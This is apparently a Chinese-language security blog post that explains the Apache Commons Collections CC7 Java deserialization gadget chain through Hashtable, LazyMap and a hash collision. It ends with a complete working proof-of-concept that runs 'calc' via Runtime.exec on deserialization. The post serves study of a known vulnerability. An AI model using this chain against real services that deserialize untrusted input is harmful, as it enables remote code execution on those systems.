Apache Commons Collections 7

Apache Commons Collections 7

跟CC5一样,也是利用CC1的LazyMap.get及之后的部分,也是只改了开头。

这次是利用Hashtable.readObject方法,这个类是可以序列化的。

AbstractMap.equals()

调用了get()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
// 遍历当前 Map(this)的每个键值对,逐一和传入的 Map(m)比较
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
// 取出当前的键值对 Entry
Entry<K,V> e = i.next();
// 当前键
K key = e.getKey();
// 当前值
V value = e.getValue();

if (value == null) {
// 当前 Map 的值为 null 的情况:
// 要求对方 Map 里,这个 key 对应的值也必须为 null,
// 并且对方 Map 必须真的包含这个 key(防止值为 null 是因为 key 不存在)
if (!(m.get(key) == null && m.containsKey(key)))
return false; // 如果条件不满足,说明两个 Map 不相等
} else {
// 当前值不为 null 的情况:
// 直接用 value 的 equals() 比较两个 Map 的值是否相等
if (!value.equals(m.get(key)))
return false; // 值不相等,直接返回 false
}
}

初写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class equals {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazyMap1 = LazyMap.decorate(new HashMap<>(),chainedTransformer );
// AbstractMap abstractMap = new AbstractMap();
Map<Object,Object> lazyMap2 = LazyMap.decorate(new HashMap<>(),chainedTransformer );
lazyMap1.put("1","1");
lazyMap2.put("2","2");
lazyMap1.equals(lazyMap2);

}
}

Hashtable.reconstitutionPut()

桶的本质

桶(bucket)在哈希表结构里指的就是数组中的一个位置,用来存放 hash 值映射到这里的元素。

哈希表底层是一个数组Entry[]Node[])。

这个数组的每一个格子就是一个“桶”。

每个桶可能:

  1. 为空(这个位置还没有数据)
  2. 存着一个节点Entry
  3. 存着一个链表或树(用来解决哈希冲突)

桶和 hash 值的关系

当你插入一个 key 时:

  1. 先算出它的 hash 值hashCode())。

  2. 再用这个 hash 值去算数组下标:

    1
    index = (hash & 0x7FFFFFFF) % tab.length
  3. 算出来的 index 对应的数组格子,就是要放入的

![78c90451d520280b49823f3d288d04f](D:\VX\WeChat\WeChat Files\wxid_ogct9xjcuxuz22\FileStorage\Temp\78c90451d520280b49823f3d288d04f.png)

reconstitutionPut()

因为序列化会重新将数据写入,而不是直接恢复数组,因此为了进入for循环,在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。

序列化:把 key-value 数据写到流里

反序列化:新建对象 → 新建内部数组 → 依次调用 reconstitutionPut 恢复 key-value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class reconstitutionPut {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map lazyMap1 = LazyMap.decorate(new HashMap(),chainedTransformer );
Map lazyMap2 = LazyMap.decorate(new HashMap(),chainedTransformer );
lazyMap1.put("yy","1");
lazyMap2.put("zZ","1");

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);



Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);


serialize(hashtable);
// deserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin"));
oos.writeObject(obj);
}


public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.bin"));
Object o = ois.readObject();
// System.out.println(o);

}
}

但反序列化并没有执行命令。一步步检查,发现AbstractMap.equals()方法的m.size() != size()判断失败

Hashtable.put()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}

Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
//当添加第一个key,value,table数组里没有任何值,所以会直接跳过for循环
//添加第二个key,value,因为两个map经过计算得到的哈希值相同,所以得到的索引也相同,所以当前的entry有值,即可进入循环。
if ((entry.hash == hash) && entry.key.equals(key)) {
//entry.hash == hash显然相等,执行entry.key.equals(key),现在的entry的key为lazymap1,调用equals函数,执行lazymap1.equasl(lazymap2)。
//equals()函数内部进行判断,最终会执行lazymap2.get(lazymap1.key)
//get()首先会判断key在lazymap2里存不存在,不存在则会写入。
//因此在往Hashtable添加了第二个map后必须要将第二个map后面写入的key删除,不然就过不了m.size() != size()
V old = entry.value;
entry.value = value;
return old;
}
}

addEntry(hash, key, value, index);
return null;
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package cc7;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map lazyMap1 = LazyMap.decorate(new HashMap(),chainedTransformer );
Map lazyMap2 = LazyMap.decorate(new HashMap(),chainedTransformer );
lazyMap1.put("yy","1");
lazyMap2.put("zZ","1");


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);

lazyMap2.remove("yy");

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);


serialize(hashtable);
deserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin"));
oos.writeObject(obj);
}


public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.bin"));
Object o = ois.readObject();
// System.out.println(o);

}
}

CC链思维导图

image-20251204190121285

参考链接

https://infernity.top/2024/04/18/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-CC7%E9%93%BE/#%E5%AE%8C%E6%95%B4CC7%E9%93%BE%EF%BC%9A


Apache Commons Collections 7
http://xiaowu5.cn/2025/12/04/Apache-Commons-Collections-7/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU